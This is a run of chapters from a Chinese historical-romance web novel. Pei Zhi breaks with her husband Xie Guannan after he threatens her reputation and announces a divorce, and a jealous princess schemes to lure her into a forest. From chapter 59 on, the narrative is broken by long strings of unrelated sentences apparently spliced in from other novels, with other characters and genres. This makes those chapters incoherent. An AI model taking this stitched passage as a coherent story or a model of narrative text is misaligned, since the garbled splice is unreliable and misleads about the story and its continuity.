“难道你不应该感谢玉桐?还是说你心里还怪着我那日护着玉桐回去,没回来接你?”
他越说越觉得裴芷在无理取闹。
明明那日白玉桐的确是受了惊,他才不得不护着她离开。裴芷因为这点小事也要闹脾气?简直无可救药!
裴芷动了动,一点点将手腕从谢观南的手中挣脱。
一双明眸失望看着面前的男人,声音虽轻却清晰无比:“二爷也知道那日我遭了难,为何不先问问那日发生了什么?”
谢观南愕然张了张嘴,忽然发现自己竟然没理。
“那日还能发生了什么?”他眼神闪烁,飘忽不定,“不过是下了雨,你被耽搁在城外罢了。”
裴芷无言看着他,生平第一次她真的很想动手撕下他的脸面,看看谦谦君子的表面下是什么嘴脸。
“二爷真的是这么想的?我只是被耽搁在城外而已?是这样的吗?”
谢观南不吭声了,耳根红了起来。
他实在是无法直视裴芷失望的眼神,因为他知道,那日裴芷被耽搁在城外是被人设计陷害的。
不然那个车夫怎么突然卷铺盖跑了?
可是若是追究这件事的真相,很有可能会牵扯出他看重的人。
“你……阿芷,我知道你心里生气,但现在时候不早了,我们先回去再说吧。”谢观南软了口气,“你有什么气回去与我发就行。这里毕竟不是清心苑。”
裴芷听了,面上没什么表情,心里却失望到麻木。
意料之中的结果罢了。她早就知道谢观南没勇气直面真相,而且不会给她任何公道。
如果换成以前,她会难过,会内心愤怒,但现在只剩被再次验证后的麻木感。
裴芷盯着谢观南,直到他那张儒雅俊美的脸上浮现心虚与羞恼。
“小裴氏,你打算怎么样?”谢观南不装了,露出了凉薄的面目,“你想要我替你查那日出了什么事吗?”
他口气低沉且恶劣:“我现在是给你颜面,若是非要查出来,那车夫要是反咬你一口说你在城外……”
裴芷打断他的话,面色苍白无比:“二爷想说什么?”
她几乎不敢相信谢观南话里的意思。
他的意思难道是?
谢观南避开她的眼神,冷冷道:“我不查那日的事也是给你留脸面。难道被人知道你彻夜不归家,很是光彩吗?”
“再说,谁知道那夜你发生了什么事?万一你在路上被贼人玷污……”
“啪”的一声,谢观南愣住,不敢相信捂住脸。
“你!”他惊讶得说不出话来,甚至来不及追究自己是怎么被打的。
裴芷眼眶红了,一字一顿:“谢观南!我是你的妻!”
“你为了袒护你看重的人,竟然不惜用我的名声来威胁污蔑我!你还是人吗?”
谢观南看着出离愤怒到了极点的裴芷,心顿时慌乱了。
他从没有见过温婉贤惠的裴芷这么生气过。
她好像对他失望透了,甚至恨他。
不,他不想这样的。
“我,我不是那个意思。”谢观南再也顾不得体面,急忙解释,“我也是为了你好,毕竟出了这事,第一要紧的是遮掩过去,而不是追究谁干的……我……”
裴芷一字一顿:“谢观南,我要和你和离。”
“从今日起,我与你恩义两绝。”
第55章 公主的轻视
裴芷进了院子,看也不看谢观南一眼。
谢观南捂着脸,看着她的背影才醒悟自己方才说了什么。
他竟然用妻子的名声来威胁她不要去寻真相?!
他,他怎么是这样的人?
“观南哥哥,裴姐姐说了什么?她竟然要与你和离?”白玉桐在旁吃惊不已,“观南哥哥,她还打了你。”
谢观南闻言,心虚内疚变成了羞恼。
是啊,小裴氏是怎么敢打他的?
他可是她的夫君。
谢观南神色阴沉。若不是在谢玠别苑,他定要给裴芷好看。她不是要和离吗?他恨不得现在就写个和离书,看她怎么办。
他转头吩咐下人:“去与少夫人说一声,我在马车上等她。”
下人犹豫。刚才亲眼看见少夫人扇了二爷一巴掌,此时进去传话可能会被迁怒。
谢观南见下人犹豫,冷笑:“若是她不肯与我回去,就……”
“就告诉她,永远不用回去了!”
下人心头一凛,点头就要进院中传话。
“二爷好大的脾气。”奉戍冷冷走来,厉目扫了一眼谢观南与白玉桐。
他语气里带着明显的讥讽:“不知道的还以为这里是二爷的别苑,随意进出,随意处置人。”
谢观南一愣,随即脸涨红,连忙拱手道歉。
奉戍懒得听他啰嗦,冷冷丢下一句话:“大人有令,二少夫人去留由她决定。二爷不要管了。”
谢观南心口一窒,不由道:“这怎么行呢?小裴氏粗鲁无礼,留在这里叨扰大爷,实在不妥。我今日就是特地来将她带回府的。”
“再说,小裴氏是我的妻,我不能不管。”
奉戍冷冷一笑:“呀,二爷也知道二少夫人是您的妻啊。那为何会将她落在城外,让她差点陷入险境中?”
“又是怎么过了这么多日才想起要来接她回府?该不会是今日才想起二爷的妻是她吧?”
一番阴阳怪气的话说得谢观南十分难堪。
奉戍又看了白玉桐一眼,眼中有寒意:“这位白家小姐与二爷形影不离,真是让人好生误会。”
“二爷该不会是忘了大人是怎么告诫的吧?”
谢观南浑身冒出冷汗来,不敢再说话,只能低着头不停为自己辩解。
奉戍冷笑一声,拂袖离去。
白玉桐等他离开,心中奇怪问:“谢大人告诫过什么?”
谢观南不敢搭理她,连忙往外走去。
此时只恨自己为什么只长一双腿,而不是插上一对翅膀。
他真是糊涂了,一路行来被白玉桐三言两语说得忘乎所以,以至于忘了谢玠的告诫。
若是谢玠知道他竟然把白玉桐带来此处,恐怕真的离死不远了。
他只能赶紧趁着下人还没将消息传给谢玠之前离开。
谢观南边走边心里暗暗告诫自己,回府后一定要暗示母亲秦氏赶紧把白玉桐这尊佛送走。
他不能再沉溺于白玉桐的温言细语中,忘乎所以。
攀附白家虽有好处,但那好处是不确定的。可若是得罪了大房大公子谢玠。
那可是肯定要见血的。
……
裴芷进了院子,梅心与兰心围了上来。
她们虽然不知道发生了什么,但瞧见裴芷的脸色,便知不是询问的好时机。
裴芷进了屋子,拿起医书要看却半天看不进一个字。
过了一会儿,奉戍让人送来东西。裴芷以为是寻常东西,或是药材。但来人递上的竟然是三封信。
裴芷看见信上的印鉴,心中一动。她的三封回信,终于到了。
拆开第一封外祖母的回信,手微微发抖,她一目十行看完,长吁一口气。
果然,外祖母是疼她的。
信里只说让她若是和离了,可以去青州寻她。青州虽不如京城繁华,但好歹有一处宅子,她母亲未出阁前的绣楼还在,没人住过。
第二封便是寄给瓜洲的六舅父。舅父为她挑了几处地方,还说要帮她寻中人,再细细询问价钱。
第三封……
裴芷手指捏在信封上,迟迟没打开。
这是父亲故交陈怀瑾陈大人的回信,若他不愿帮她,那和离一事就棘手了。
想了许久,裴芷还是打开了。
看完她眼中难掩失望。陈大人信里只说与父亲一些往事,只字不提她求的事。信里最后一句还敲打了她,让她孝敬长辈,对夫君恭顺,应该早日诞下子嗣云云。
一股力气泄了,裴芷坐在了软榻上。
这世道怎么对女子这般严苛?
只是想要自由别的什么都不要,却这般难。
难道最后她真的得去求谢玠吗?
……
明玉公主萧卢燕听得下人禀报,红唇微勾:“哦?谢府的二公子过来寻妻,又被打了出去?稀奇,真是稀奇。”
她笑眯眯对身边女史道:“这热闹没看,实在是可惜。”
女史为了逗她开心,抿嘴笑道:“公主千金之躯,何必屈尊去看寻常百姓夫妻吵嘴打架?岂不是辱没了公主的身份?”
“不过退一步讲,这小裴氏竟然敢当众打夫君,她莫不是疯了?”
下人也不知道前因后果,只按着自己猜测的道:“估摸是瞧见自己夫君带着别的女子出游,吃醋起来。”
他将谢观南带着白玉桐一起前来的事说了,还特地说了白玉桐的身份。
女史听了,鄙夷道:“深宅妇人就是如此做派。成日钩心斗角,争风吃醋,除此之外也没有别的事。”
她对萧卢燕道:“公主您可以放心了。这小裴氏只是个俗之又俗的俗人,一点体面都没有。”
萧卢燕面上轻蔑:“昨儿看她还挺有姿色的,没想到如此俗不可耐。”
又说起白玉桐。
“竟然是白昭仪的妹妹。”
“那白昭仪妖妖娆娆的,迷惑了皇帝哥哥。妹妹竟然与谢府二公子勾勾搭搭的,果然是姐妹啊。”
“竟像前朝赵飞燕姐妹似的,姐妹皆是不老实的祸水。”
女史嘲笑:“公主说的是。那白家先前因错被贬往锦州,是靠着宫里白昭仪才又起复。只是这位白玉桐,眼光太低了些,那谢观南只是谢家旁支公子,又已婚配过了。她图的什么?”
萧卢燕道:“谁知道呢。”
她眼底有深深的鄙夷:“哎,看着这两女为了一个徒有虚名的男人争风吃醋,好没意思。”
“她们的眼界这样低,又可怜又厌烦。”
当下,萧卢燕对裴芷一番印象彻底改观,便不觉得她留在谢玠别苑中碍眼了。
毕竟裴芷是名义上的谢府二少夫人,谢玠留她,不过是和捡到猫儿狗儿似的。
绝不是因为她长得美才收留的。
第56章 公主的心魔
萧卢燕想定,心中舒畅不少。
她一直心悦谢玠,但奈何落花有情,流水无意。谢玠不喜欢她,察觉到她的心思后更是避之唯恐不及。
她伤心过一段日子,打算就这样算了。
毕竟她是公主之尊,哪里会寻不到如意郎君。但看遍了整个京城的王公子弟,世家公子,偏偏无一人能比得过谢玠。
皇帝盛赞过的“姿容俊美”“鹤骨松姿”的男人可不是一般人。
更何况谢玠还有才能,又一股子拒人千里之外的冷漠,更令情窦初开的她着迷不已。
萧卢燕去与太后说,又几次求了皇帝哥哥。太后摇头说她是异想天开,劝她换一个人选。
而皇帝更是直白与她说,本朝尚了公主的人就不能有实权。他还要重用谢玠,不能因为她自私的心思而断送他一位能臣。
人啊,越是得不到的,越是想得到。
于是谢玠便成了萧卢燕无法放弃的心魔。她总是期盼他能为她深情打动,放弃权势与她一起白头偕老。
这份痴恋便成了她成日追寻谢玠的动力,从宫里到宫外,从京城到城外。
萧卢燕一会想着谢玠不理会自己,陡然黯然神伤;一会又想着他身边没有女人,而自己总是有机会的。想着又笑了起来。
身边女史早就见惯了公主的儿女情思,于是道:“明日晴好,公主可以出去骑马踏青。还可以射猎。”
萧卢燕闷闷不乐:“一个人有什么意思?”
女史微微一笑:“公主出行,谢大人也得随行的。不然万一出了什么岔子,谢大人脱不了干系。”
萧卢燕眼睛一亮,眯起杏眼,笑了。
第二日一早,裴芷起床洗漱用膳。
她神色倦怠,眼下一片浅浅的青色。昨夜辗转反侧,始终不能安稳。
和离的话说出口了,接下来便是要想着如何尽量保持体面地离开谢府。
她垂眸看着手中的粥碗,玉勺轻搅,一点胃口都没。
两个丫鬟看出她心情不好,不敢惊扰了她。
昨儿谢观南来了一趟,不知说了什么,竟逼得一向温婉谦和的少夫人打了他一巴掌。
又收了三封信,少夫人的心情愈发不好。不用想也知道,想离开谢府有难处了。
梅心拉了兰心到了廊下说悄悄话:“这下可怎么办呢?二爷发了怒,少夫人恐怕很难回府。少夫人要和离,唉,恐怕也难办。”
兰心:“我们做奴婢的也帮不上忙,只能劝少夫人看得开些。”
梅心突然道:“要不求大爷?”
兰心怔愣片刻:“大爷肯帮?”
又道:“我们是见不到大爷的。”
她想起谢玠身上冰冷的威压,浑身一颤。
大爷长得好看极了,但也冷酷极了,好像佛经里说的地狱里的魅罗似的,浑身煞气能把人吓死。
让她贸然去求,她怕自己没了小命。
梅心道:“可以去寻奉戍大人,奉戍大人虽然看起来严厉,但是能说两句话的。心眼也不坏的。”
两个丫鬟悄悄商议一番,便想找个借口去求奉戍。
若是奉戍愿意帮少夫人在大爷面前说上一两句,那就万事不愁。
裴芷用完早膳,换了件衣衫,打算去与谢玠辞行。
她准备了两套说辞,一套是谢玠伤已无大碍,她留在此处无用,必须回府。另一套就是据实相告,告诉谢玠她要回去与谢观南和离。问他先前承诺帮她的事还作不作数。
若是看在谢氏同族的面上,他不愿为她撑腰,那她便打算写状子去府衙。
写状子是闹得最不体面的事,最后的结果也许会很惨烈。
她恐怕不能全身而退,但就算这样,她也做好了决定,不会再更改。
与谢玠事前说明,好过将来有人在他面前说三道四的,抹黑了她。
裴芷将话来来回回想了好几遍,觉得不出错了才让梅心去打听谢玠在不在别苑中。
梅心去了一会,很快回来。
她脸上有惊讶:“回二少夫人的话,大爷在。还说一会儿要骑马出游,让二少夫人收拾准备。”
裴芷讶然:“大爷吩咐的吗?”
梅心点头:“奴婢去了大爷的院子,听见里面有人说话。奴婢悄悄凑过去看一眼,是公主身边的女史说公主要出去游玩。”
“大爷没说什么,后来不知怎么地看见奴婢,就将奴婢唤了过去亲口说让二少夫人一起出去。”
裴芷想不通谢玠怎么突然将自己唤了出去。
游玩是好的,但却是陪着明玉公主就一点都不好了。
梅心催促裴芷准备。
裴芷无奈,让兰心去寻管事婆子,拿了一套女子骑装,收拾打扮起来。
临行前,她目光扫过药箱,心中一动指了指药箱:“挑一些伤药药粉带上吧。”
梅心与兰心应了一声去收拾。
裴芷平时随身都带一些药粉,药丸,再者经历上次雨中跌落坡底,两个丫鬟也觉得应该在身上备一点救命的东西。
收拾完,裴芷出了院门。
别苑大门处,明玉公主萧卢燕正在马背上不耐烦玩弄手中精致的马鞭。
谢玠跨坐在马上,神情冷淡。
他今日着一件滚金边玄青色束口骑装,墨发用诸葛红发带束紧,发髻前是一枚红色暖玉。
玄衣朱带越发衬得他的面若白玉,五官冷峻。
一双深眸中眼瞳若黑曜石,深沉无比。
他很有耐心地坐在马背上,眸光淡淡看向别苑大门深处。
过了一会儿,只见一位纤柔身影缓步走了出来。
彼时天光明亮,三月末的春光都只照在那女子身上上,乌发云鬓,唇红齿白,白净的面上映着春日,竟好似有光华在脸上流动。
她穿一件淡青色绸面骑装,身上没有佩多余钗环,通体清新淡雅,似修竹,又似幽兰。
远远而来,好似空气中多了几分清洌的香气。
谢玠眸光微微一闪,移开目光。
“可以走了。”
萧卢燕早就等得不耐烦,听见谢玠如此说,不由往大门处看了一眼。
当看见来人是裴芷,忽地意味深长一笑,策马朝前而去。
裴芷到了谢玠跟前,无奈:“劳烦大爷等我。”
谢玠见她娇柔文弱,问:“真的会骑马?”
裴芷点了点头。
奉戍牵来一匹母马,道:“大人忘了,二少夫人的骑术还是不错的。”
谢玠不语,在旁边等着她上马。
裴芷抓住马鞍,忽地翻身上了马。她上马姿态轻巧又好看,像乳燕投林似的。奉戍喝彩起来。
谢玠冷冽的眸色稍稍和缓,纵马往前疾驰。
“看你的本事,能否跟紧我。”
风中留下他清冷的声音,裴芷一愣,手比脑子快,已驱马跟上了。
第57章 被他当挡箭牌
一望无际的草场上,葱翠的草地上莺飞草长,点点野花在春风中摇曳。天地分成了两色,一处水蓝,一处葱碧。
而天与地当中,谢玠就驰骋在其中,身影若蛟龙,一身强大的气势宛若要踏碎这片天地,唯我独尊似的。
裴芷渐渐恍惚,有一瞬竟有种跟随着他,千山万水也不过如此的错觉。
跑了一段路,谢玠突然在前面停下来。
裴芷勒马上前。
谢玠看了她一眼,见她神态从容,严厉的眸色罕见有了赞赏:“你骑术不错。是裴御史教的?”
裴芷想了一会儿才反应过来“裴御史”是指自己故去的父亲。
她摇头:“是别的人教的。”
谢玠没问,只是漫不经心勒马:“昨儿听说你打了谢观南一巴掌。”
裴芷点头:“他辱我在前。”
谢玠深深看了她一眼,并不评价她的作为,只是道:“那你怎么打算?”
裴芷于是将自己想回谢府递和离书,又将陈怀瑾大人不愿意帮忙的事说了。
谢玠淡淡道:“陈大人克己守礼,他在官场上虽然有公正之名但却十分古板。他不帮你是正常的。更何况这是夫妻间的事,谁愿意拆了旁人的姻缘?”
言下之意,他极不愿意插手。要不是裴芷对他有解毒之恩,恐怕是多看她都不会的。
裴芷听了面上黯然。
后面一段话的道理她也明白,但若是真的闹到了要公堂相见,她实在是没把握能全身而退,所以才不得不厚着脸皮去写信求助。
谢玠问了两句便不再说了,又恢复平日严峻冷漠的神色。
“走吧。”他冷淡道,“前程是自己挣的,旁人都靠不住。”
说着他驱马往前走。
裴芷突然问:“那大爷呢?”
握着缰绳的手微微一紧,风中传来他凉薄的声音:“我亦是一样,你不用对我抱有很大的期望。”
“我帮你,不过是因为你有用罢了。”
说完他已策马疾驰而去。
裴芷在原地徘徊片刻便纵马跟上了。谢玠一直遥遥在前,她也不知为什么要自己跟着。明明他说了那么凉薄的话,似乎在警告她与他井水不要犯河水。
也是,谢玠的身份那么高高在上,她不过是谢府旁支一房不起眼的续弦夫人罢了。
对他来说,她和蝼蚁也没什么差别。
到了凉棚跟前,萧卢燕已经与女史们玩了起来。她瞧见谢玠过来,上前娇笑说要去射猎。谢玠皱眉,冷淡拒绝。
萧卢燕不肯,闹着要去。
谢玠厌烦与她纠缠,便默认了。反正萧卢燕射箭极差,猎不到什么,主要是寻个由头玩乐。
萧卢燕道:“谢郎,你与我一起去吧。”
谢玠冷冷瞥了她一眼,道:“我还有差使在身,公主自便。”
萧卢燕似乎料到他会拒绝,看向裴芷:“那就让这位二少夫人陪我吧。”
谢玠看了裴芷一眼,神情未动:“公主随意。”
萧卢燕怔愣。
这个反应超出她的意料。谢玠在别苑特地等着裴芷出来,又领着她来到草场,她以为裴芷的身份对谢玠来说多少有点顾忌。
没想到……没想到他是为了不与自己沾了“孤男寡女”同游的名声。
萧卢燕终于迟钝想到了这个关键,脸色瞬间惨白。
谢玠竟厌恶她到了这个地步。哪怕要拉上一个不相干的人,也要和她撇清关系。
想着,萧卢燕明眸含着水光,心中万般委屈差点化成哭声。
谢玠头也不回地离去,草场上只剩下萧卢燕与裴芷留在原地。
萧卢燕深吸了好几口气,才压下心中酸涩苦楚。她一回头,只见裴芷清清冷冷站在凉棚旁,雪肤乌发,气质出尘,平平无奇的骑马装穿在身上十分好看。
她呆呆站着,神情恍惚,看着有点可怜又有点呆的样子。
萧卢燕眼是无处发泄的怒意,对裴芷冷声道:“都怨你!谁让你来的?”
裴芷突然被责骂,怔愣片刻便低头:“公主息怒。”
萧卢燕口气十分恶劣:“谢郎半点都看不上你,把你约来草场,还不是为了我?”
裴芷稍稍一想便明白了。
谢玠原来是拿自己当了挡箭牌,这样既不用陪伴明玉公主,也不用担上照顾不周的罪名。
想到此处,裴芷反而心里更安稳了些。
她本就不重要,谢玠随手用了也是应该的。
至于招到明玉公主的厌憎和泄愤,这点坏处她承受得起。
裴芷:“公主请慎言。大爷与妾身清清白白,天地可鉴。”
“大爷让我跟来,是为了生怕公主无伴不方便罢了。若是公主不愿意我随侍左右,那我便在此处静等公主游玩归来。”
萧卢燕没想到裴芷这么淡然,刚才的恶言恶语好像一拳打在了棉花上。
她哼了一声,扭头骑马与随行的女史玩乐去了。
裴芷目送她远去,摇了摇头,进了凉棚安心等待。
耐心,一向是她对抗恶意最好的办法。
很笨,但总能让她等到解决办法的时机。
萧卢燕与女史们射了一会儿野鸡,十箭九空,不免兴趣大减。
她抱怨昨天出主意的女史:“谢郎竟然找了小裴氏搪塞我。现如今怎么办?我明日就得回宫了。”
“这次出宫三天,是我央了母后许久才允许的。如果母后知道谢郎对我半点情意也没,母后一定会逼我一定要挑选驸马的。”
她急了。
她今年年纪已经不小了。去年年底刚及笄。
今年太后就要与皇上皇后商量,在今年将她亲事定下来。皇上已经着宗人府去挑选造册合适的王公子弟,世家公子。
这一次出宫,是她百般哀求了太后再给谢玠一个机会。
如果谢玠还是对她冷冰冰的,她嫁给谢玠的希望就更渺茫了。
女史们是最明白明玉公主为什么着急,一个个七嘴八舌出主意。但出来出去都是从前用过的,被证明无用的伎俩。
萧卢燕越发烦躁,忽地,她皱眉:“那小裴氏也许可以用一用。”
女史:“谢大人对她很不在意的,不然也不会将她送来当糊弄公主的挡箭牌。”
萧卢燕忽地沉沉笑了笑:“他是不在意。但是小裴氏确实是谢家人。她要是出事了,他会不来看一眼吗?”
女史们面面相觑,只能说以小裴氏为诱饵,赌谢玠会来是很渺茫的。
但现在萧卢燕已经没有主意了,只能死马当活马医。
下一剂猛药,也许局面就不同了。
第58章 嫉妒陷害她
裴芷在凉棚中喝茶吃点心。
梅心与兰心互相使了个眼色,梅心便悄悄出了凉棚去寻奉戍。兰心不太会说话,而梅心能说会道,便打算由她去求奉戍帮忙传话。
明玉公主身边的尚宫,也就是上次前去请她的人又来了。
她抬着下巴,神情依旧傲慢:“小裴氏,公主唤你去随行射猎。”
裴芷微微蹙眉,想婉拒不去,但公主有宣她不得不去。
尚宫等她整理妥当,便让她跟着前来的女史去。来接裴芷的女史是一位脸色蜡黄的少女,她扫了一眼裴芷,眼底含着妒色。
“你就是谢府的二少夫人?”她问,“射猎的东西都带齐了没?”
裴芷点头。
女史冷冷道:“到了公主跟前要殷勤点。说不定公主一高兴就赏赐你点什么。”
裴芷静静听着:“多谢女史提点。”
女史见她长得娇弱,又一副岁月静美的模样,心里不由恶意蔓延滋生。
裴芷这种在深宅中安稳过日子的小妇人,又年轻又生得美,光看着就足够让在深宫中苦苦挣扎的人嫉妒得发疯。
在深宫中尔虞我诈,又得日夜提着心伺候异常难伺候的主子。日子和地狱里也没什么差别。
一对比,便觉得越发恨。
女史一边走一边道:“按着你的身份是没什么机会在公主面前的,如今有了这个机会,可不要浪费了。”
裴芷静静听着,时不时应一声。
女史说了一路,一回头却见裴芷依旧不热络,也不激动,更别提如何讨好她。
她暗暗瞪了裴芷一眼,心里嘲讽,一会就有她哭的时候了。
谁让她如此倒霉,碰上了本朝最跋扈刁蛮的公主。又如此倒霉,正好与谢家那位碰不得的男人有了些许的牵扯……
裴芷到了萧卢燕跟前。
萧卢燕正拿着一柄小弩射着侍卫抓来的两只野兔。
野兔被放入用草编成的一个大筐里,乱蹦乱跳,急着要逃命。但萧卢燕拿着小弩对准它们射了起来。
裴芷看了一眼,别过脸去。里面血淋淋的,野兔的下场只能是被乱箭射死。
萧卢燕将筐里的野兔都射死了,满意收回小弩。
她对裴芷道:“随我去射猎。”
是命令的口吻,不容她抗拒。
裴芷犹豫了片刻:“妾身不会射猎,公主莫要见怪。”
萧卢燕一副“就知如此”的样子,勾唇笑了笑,然后招呼侍卫们上马。裴芷无奈骑马跟上。
一路上萧卢燕并不射猎,而是骑着马带着裴芷转悠渐渐到了山林附近。
裴芷劝:“公主,山林路深,还是别进去了。”
萧卢燕看了她一眼,挑眉:“草场有什么好玩的?我就想去山林中转转。”
她见裴芷犹豫,激将:“怎么?你害怕了?”
裴芷摇头:“妾身担心公主的安危。”
萧卢燕轻蔑笑了笑:“你还是担心你自己吧。”
说完一甩鞭子,呼喝着策马冲着山林而去。裴芷无奈只能跟上。
……
沈晏放下弓箭,看了看准头,眉心皱起。左臂旧伤未好,一用力便隐隐作痛。
看来还得寻良医努力治好左臂的伤,他急着回西北。
在京城每次在沈宅中,想起的只有难堪的旧日落魄情形。可若不回来,在西北没有良医,他的左臂很有可能就废了。
若是废了就再也挽不了弓,建不了功业。沈家的门楣还有谁能撑起?
沈家的男丁,现只剩下他一人了啊……
“三哥,三哥,你让我好找啊。”
沈晏妹妹,沈菁寻来,见他对着弓发呆,问:“三哥怎么了?”
沈晏摇头:“无事。只是在想什么时候回西北去。”
沈菁闻言,眼眶红了:“三哥,你怎么又要走?难道就不能不走吗?”
“母亲那么要强的人,每夜晚上想起你在西北吃苦都得哭上一回。如今你好不容易立了军功,平安无恙回来了,她不知道有多高兴。”
“为了母亲,三哥你不要走好不好?”
说着,沈菁哭泣起来。
沈晏神色复杂瞧着妹妹,良久摇头:“不,我不走怎么去立军功?若无军功如何让你们在京城中立足?”
“只有天大的军功,才能让皇上还我们沈家一个公道。你又不是不知道父兄……他们死的太冤太惨了。”
沈菁只是摇头:“不,母亲说父亲与两个哥哥早就做好了为国尽忠的准备。虽然战败,但好歹殉了城,也不算辱没了将门之家的声望。”
“但是三哥,只剩你一人了啊。若是你有个三长两短,母亲该怎么活?我又该怎么办?”
沈菁扑在沈晏怀中大哭。
沈晏缓缓搂住妹妹肩头,半天才道:“好,我先安顿好母亲与你。以后的事以后再说。”
又说了一阵子话,才令沈菁破涕为笑。
忽地,有人走来,笑道:“沈兄,别一个劲射空箭了。我们去山林猎点山鸡野兔,听人说还有熊瞎子。”
又有人牵着马走来,道:“前面远远瞧着一队人,好像是明玉公主出来射猎了。我们过去拜见公主。”
沈晏摇头拒绝。他无心射猎,更是无心结交权贵。
沈菁突然拉着他的手道:“三哥,是公主呢。我想去见见。”
沈晏被她拉着上了马,其他人也催促着要去见识明玉公主。他们都是官宦世家的子弟,若是能被明玉公主青睐,便是一个天大的机缘。
谁让明玉公主是如今圣上最喜欢的皇妹,况且还是太后的掌上明珠。
……
入目四处都是阴森高大的树林,裴芷情不自禁勒住了马。
她回头,萧卢燕正跟在身后。
“怎么不走了?”萧卢燕面色沉了下来,“刚才我的匕首就是落在了前面,你若是不帮我找回来,就不用回去了。”
裴芷看了看天色,太阳已经西斜,眼看着快要落山了。
她委婉道:“天色将晚,要不明日我再替公主寻找匕首?”
“不行!”萧卢燕面色难看,冷冷道,“那匕首是皇帝哥哥送我的及笄礼。一定要找到,若是明日再来,铁定再也找不到了。”
她指了指前方阴森的去处,命令身边的女侍卫:“你们与她一起去找。没找到就不用回来了。”
第一卷 第59章 雨夜山林(一)
裴芷看向萧卢燕。
萧卢燕的眼底藏着一抹很深的恶意,还有一股“你奈我何”的傲慢。
她是公主,应朝最受宠、最耀眼的明玉公主。
一瞬,裴芷忽然明白了什么。公主要陷害她,要她去探那未知的、令人恐惧的密林深处。
条件很简单。沈云溪只能用最简单的方法制造有效而安全的武器。
“我听说你身边五品高手,白虎部落的?!”白幽若又抓紧了他的手。
宋言勋目测了一下唐知的身高,他一米八八,唐知应该有一米六八的样子吧,看着已经很高挑了。
如此才劝阻住了那些一心要给赵言欢和李清殉葬的百姓,俩人的葬礼某种意义上来说,不但没有简办,反而隆重的旷古烁今。
他们很早就来了,跟在老人后面,在他旁边摆好了摊子,占了个好位置。
郑天阳从半空中落下,看着苟延残喘的三人,飞起一脚,三人彻底变成了飞灰。
可就算是这样,陈元毕竟是她请来的人,于是玉手一挥,她的人立马挡在了陈元的身前,和高起强的人对峙起来。
“等等,咱们吃个饭吧,好不容易聚在一起。”袖儿瞅瞅笑天,又看看雨儿,心中很是期待。
飞花城会选择投靠马其尔王国,说不定也跟伊芙琳他们这些老城主一派有关系。
不然,萝丝光靠阴谋手段,就能诱使一位神灵陨落,还真算得上是不菲的战绩。
“你当我真的是因为过度生气才倒下的吗?”司徒乾知忽然冒出一句,随即很开住口。
“别闹,这招早过时了。”夏新当然是义正言辞的拒绝,舒月舞都拿这招逗他好几次了,他怎么可能还会中计。
雪白的灯光照射在她的身上,好似蒙上了一层白纱,更加显得明艳动人。
就在他和她即将擦肩而过的时候,原本很安静的夏念念,突然之间就跳了起来。
艾浓浓趴在孟星辰的怀里好不容易才止住了哭泣,孟星辰拍着她的背,把她抱起来。
凌天坐在了土丘上,看着手中的盒子,然后打了开来,这盒子很好打开的,因为那锁都已经锈的老掉牙了一拽就掉。
得到命令后,我只能去收拾行李,然后跟丁含郁告别,毕竟咱这个男朋友陪她的时间太少了,每次都感觉亏欠她。
我一听这话,不由得皱起了眉头。申晴为什么要这么说呢?以我对秦浅的了解,秦浅确实是一个善良的丫头。
尴尬无比的付勤这下可是有些左右为难了,你说闹吧没想到楚南抓住的把柄比他的还大,这真闹下去就凭法律而言,老付家也绝对吃不了兜着走。
凌天看了看时间,和宫冰蕊她们发了一条信息,说自己要回去,让她们做好饭。
“好吧,咱们带它们去龙魂森林的水潭那里转转,晚点再下线,反正吃饭时间还早。”张简点头说道。
现在舞会还未开始,所以客人们都没有进入舞池,在在厅内互相攀谈着,来参加舞会的都是纽约市的上流人士,互相差不多都熟识,不过没有什么真正的大佬,比如斯密斯那样的真正的处于社会关系金字塔顶尖那一层的人物。
等再没有声响的时候,那盛有粉粉神血和道则碎片的炉鼎朝白木飞了过来。
第一卷 第60章 雨夜山林(二)
沈晏出现时,两人俱是一惊。他惊的是裴芷安然无恙,身上泥水甚至都没溅湿很多,依旧是娇柔干净的模样。
“陈先生客气了。”不愧是世家公子,在最初的诧异过后,立即就是一份偏偏如玉的温润公子。即使在心中对于陈方平心怀愤恨与厌恶,但是该有的分度还是没有丢掉。
雪千城从我的身后绕出来,伸手握住我的肩膀,将我带至他的身后,依然用自己的身躯为我挡住危险,仿佛自己还是先前那个妖力强大,足以碾压燕怀朔的雪千城。
“是的夫人,我们刚吃过啦!”尹毅老实朗声答腔,却不知夫人于近处,细心地端详他的双眼。
秦潆的态度让闻祁有些不好受,毕竟他喜欢秦潆是真的。刚刚高杰他们起哄的时候自己也在观察秦潆的表情,见她黑了脸这才及时叫停。
房玄龄如今是百官之首,掌管长安的所有调动,因此这些事自然无法瞒过他。
如果早知道要变成这样,陈方平是不是还愿意选择那样的做法,陈方平已经迷惑了,因为现在的他才发现原来自己对于一夏除却了控制之外,一夏其实在自己的生命中已经是无可取代。
林山说五倍,其实还是保守了,在现代社会,田地用过化肥之后产量是十倍多的提升,但是在现代社会,还有工业化机器的投入,灌溉系统也有大大的提升,因此林山只是说了五倍。
在这漫天大雪之下,全力奔跑了整整一个时辰的王月天与唐婉莹两人最终来到了苍茫山脉的背光面并在一处山体断层间停了下来。
想到枫玲那诡异的能力,白玥的气息变得急促,神情顿时紧张起来。
毕竟主动权掌握在李恪手上,李世民就连这番薯是什么东西都不知道。
力宏指着魏然,怒气攻心,竟然不知道说什么,脸色铁青,怒不可止。
这同样也是贵族圈子的规则,如果不是同在贵族面前,你爱怎么做就怎么做,想做什么就做什么。
身边的男子已经受伤,半只手已经消失了踪影。此时他的一声嘶吼大呼,令雷虎面孔一滞。
陈景与面前这个七夜并没有丝毫瓜葛,这一点他还是知道的,所以他才会有此一问。
血气翻涌之后就是一阵眩晕,这种状况极度的危险,只要雷霆落下之时,他仍然处于眩晕状态的话,一道雷霆就可能将神像击的粉碎。然而雷霆没有落下,却有金光洒下。
飞天一直是人类的梦想,科技世界虽然做到了,但网游世界建立之后,所有的飞机都成了放在城里的摆设,没有人敢无视城外的无数怪物大军,驾驶飞机再次冲上蓝天。
陈景眼睛微微一眯,心中顿时明白他是受困于此,并不是自己不出去。但是又是什么将他困住呢,当年他手持青珠在手,五彩毫光之下,仙神退避。以陈景的现在的境界眼力,能看的出来他身上的法力比起当年来只高不低。
骨龙也是圣级七段的亡灵,如果在地面战斗,估计会威胁到段秋的安全,而这名伪王级的骨龙骑士也不想在地面战斗。
第一卷 第61章 梦里的英雄
谢玠缓缓走来,墨色的夜将他眉眼晕染得越发秾丽,看一眼都心神俱颤。
他看了一眼裴芷,见她身上没受伤,眸色缓了一缓。随即眸光落在沈晏身上。
“能走?”
